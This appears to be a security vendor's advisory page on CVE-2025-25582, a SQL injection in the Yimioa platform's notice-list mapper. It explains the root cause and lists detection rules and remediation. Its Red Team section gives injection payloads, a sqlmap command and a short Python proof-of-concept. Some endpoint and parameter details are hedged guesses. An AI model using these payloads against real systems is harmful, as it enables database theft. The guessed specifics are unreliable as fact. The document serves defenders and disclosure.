CVE-2025-25582
Executive Summary
CVE-2025-25582 is a critical SQL injection vulnerability discovered in Yimioa, a Java-based enterprise management platform, affecting versions prior to the 2024.07.04 release. The flaw resides in the selectNoticeList() method within the /xml/OaNoticeMapper.xml MyBatis mapper file, allowing an unauthenticated attacker to inject arbitrary SQL commands via crafted input parameters. Successful exploitation could lead to unauthorized data access, data exfiltration, or complete database compromise. The vulnerability has a public proof-of-concept (PoC) but no official patch or CVSS vector has been assigned by NVD. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the lack of a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a Java-based application (Yimioa) distributed as a compiled WAR or JAR file. Organizations should verify the integrity of their Yimioa distribution and ensure no backdoored versions are in use.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Unchanged (U) – vulnerable component and database are the same.
- Confidentiality (C): High (H) – full database read access.
- Integrity (I): High (H) – potential to modify or delete data.
- Availability (A): High (H) – potential for denial of service via SQL injection.
Estimated CVSS Score: 9.8 (Critical)
Threat Level: Critical – due to remote, unauthenticated exploitation with high impact on confidentiality, integrity, and availability.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in a MyBatis mapper file. The selectNoticeList() method in /xml/OaNoticeMapper.xml likely constructs SQL queries using string concatenation or improper parameter binding. An attacker can inject SQL syntax through input fields that are passed directly to the query without sanitization or parameterization.
Root Cause: The mapper uses ${} (string substitution) instead of #{} (parameterized placeholder) for user-supplied input. In MyBatis, ${} directly interpolates the string into the SQL statement, making it vulnerable to injection.
Attack Vector: The vulnerable endpoint is likely a REST API or controller method that calls selectNoticeList(). The attacker sends a crafted HTTP request (GET or POST) with malicious SQL in a parameter (e.g., noticeTitle, createDate, etc.).
Impact: An attacker can:
- Extract all data from the database (usernames, passwords, business data).
- Bypass authentication.
- Execute administrative operations (e.g.,
xp_cmdshellon SQL Server). - Cause denial of service by dropping tables or corrupting data.
Vulnerable vs. Patched Code
Vulnerable Code (before v2024.07.04):
<!-- /xml/OaNoticeMapper.xml -->
<select id="selectNoticeList" resultType="map">
SELECT * FROM oa_notice WHERE title LIKE '%${title}%' AND status = '${status}'
</select>
Patched Code (after v2024.07.04):
<!-- /xml/OaNoticeMapper.xml -->
<select id="selectNoticeList" resultType="map">
SELECT * FROM oa_notice WHERE title LIKE CONCAT('%', #{title}, '%') AND status = #{status}
</select>
The patched version uses #{} parameter placeholders, which are safe from SQL injection because MyBatis uses prepared statements with bound parameters.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A vulnerable Yimioa instance (version < 2024.07.04).
- Network access to the application (e.g.,
http://target:8080/yimioa).
Exploitation Steps:
Identify the vulnerable endpoint: Use a web fuzzer or review source code to find the API that calls
selectNoticeList(). Common endpoints include/notice/list,/api/notice/search, or/oa/notice/query.Craft SQL injection payload: Inject into a parameter like
titleorstatus. Example:GET /yimioa/notice/list?title=test' OR '1'='1' --Extract data using UNION-based injection:
GET /yimioa/notice/list?title=' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM information_schema.tables --Automate with SQLMap:
sqlmap -u "http://target:8080/yimioa/notice/list?title=test" --batch --dbs
Proof-of-Concept (PoC) Script:
import requests
target = "http://target:8080/yimioa/notice/list"
payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM information_schema.tables -- "
params = {"title": payload}
r = requests.get(target, params=params)
print(r.text)
Blue Team (Defensive)
Detection Steps:
- Monitor for SQL injection patterns: Look for suspicious characters in HTTP parameters (e.g.,
',--,UNION,SELECT). - Check database logs: Review database audit logs for anomalous queries containing
UNION,OR 1=1, or stacked queries. - Inspect application logs: Look for errors from MyBatis or database drivers indicating malformed SQL.
- Network traffic analysis: Detect outbound data exfiltration from the database server.
Honeypot Strategy:
- Deploy a decoy Yimioa instance with a fake database containing honeytokens.
- Alert on any access to the
/xml/OaNoticeMapper.xmlpath or unusual SQL queries.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing SQL keywords in parameters (e.g.,
UNION,SELECT,OR 1=1). - Requests to endpoints like
/notice/list,/api/notice/search,/oa/notice/query. - Unusually large response bodies (data exfiltration).
File IOCs:
- Modified
/xml/OaNoticeMapper.xmlfile (if attacker patches it). - Suspicious JAR/WAR files in the deployment directory.
Log IOCs:
- Database error logs with SQL syntax errors.
- Application logs showing
org.apache.ibatis.exceptions.PersistenceExceptionorSQLException.
Registry/Config IOCs:
- Changes to database connection strings in
application.propertiesorapplication.yml.
Detection Engineering
YARA Rule
rule CVE_2025_25582_SQLi_Yimioa {
meta:
description = "Detects SQL injection attempts targeting Yimioa selectNoticeList"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-25582"
strings:
$s1 = "selectNoticeList" nocase
$s2 = "OaNoticeMapper" nocase
$s3 = "UNION" nocase
$s4 = "OR 1=1" nocase
$s5 = "SELECT" nocase
condition:
any of ($s1, $s2) and any of ($s3, $s4, $s5)
}
Sigma Rule
title: SQL Injection Attempt Against Yimioa selectNoticeList
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in HTTP requests targeting Yimioa notice list endpoints
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-25582
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'title='
- 'status='
cs-uri-query|re: '(?i)(union|select|or 1=1|--|#|%27)'
condition: selection
falsepositives:
- Legitimate use of special characters in search queries
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-25582 SQL Injection Attempt Against Yimioa selectNoticeList"; flow:to_server,established; content:"GET"; http_method; content:"/notice/list"; http_uri; pcre:"/(?i)(union|select|or 1=1|--|%27)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Yimioa: Apply the vendor's patch by upgrading to version 2024.07.04 or later. If no patch is available, consider disabling the vulnerable endpoint.
- Web Application Firewall (WAF): Deploy a WAF rule to block SQL injection patterns (e.g., ModSecurity CRS rule 942100).
- Input Validation: Implement strict input validation on all parameters passed to
selectNoticeList().
Long-Term Fixes:
- Code Review: Ensure all MyBatis mappers use
#{}parameter placeholders instead of${}. - Static Analysis: Use SAST tools (e.g., SonarQube, Checkmarx) to detect SQL injection vulnerabilities.
- Database Hardening: Apply least privilege to the database user used by the application (e.g., restrict
xp_cmdshell,CREATE,DROP).
Workarounds (if patching is not possible):
- Block access to the vulnerable endpoint via reverse proxy (e.g., Nginx
location /notice/list { deny all; }). - Use a database firewall to monitor and block anomalous queries.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.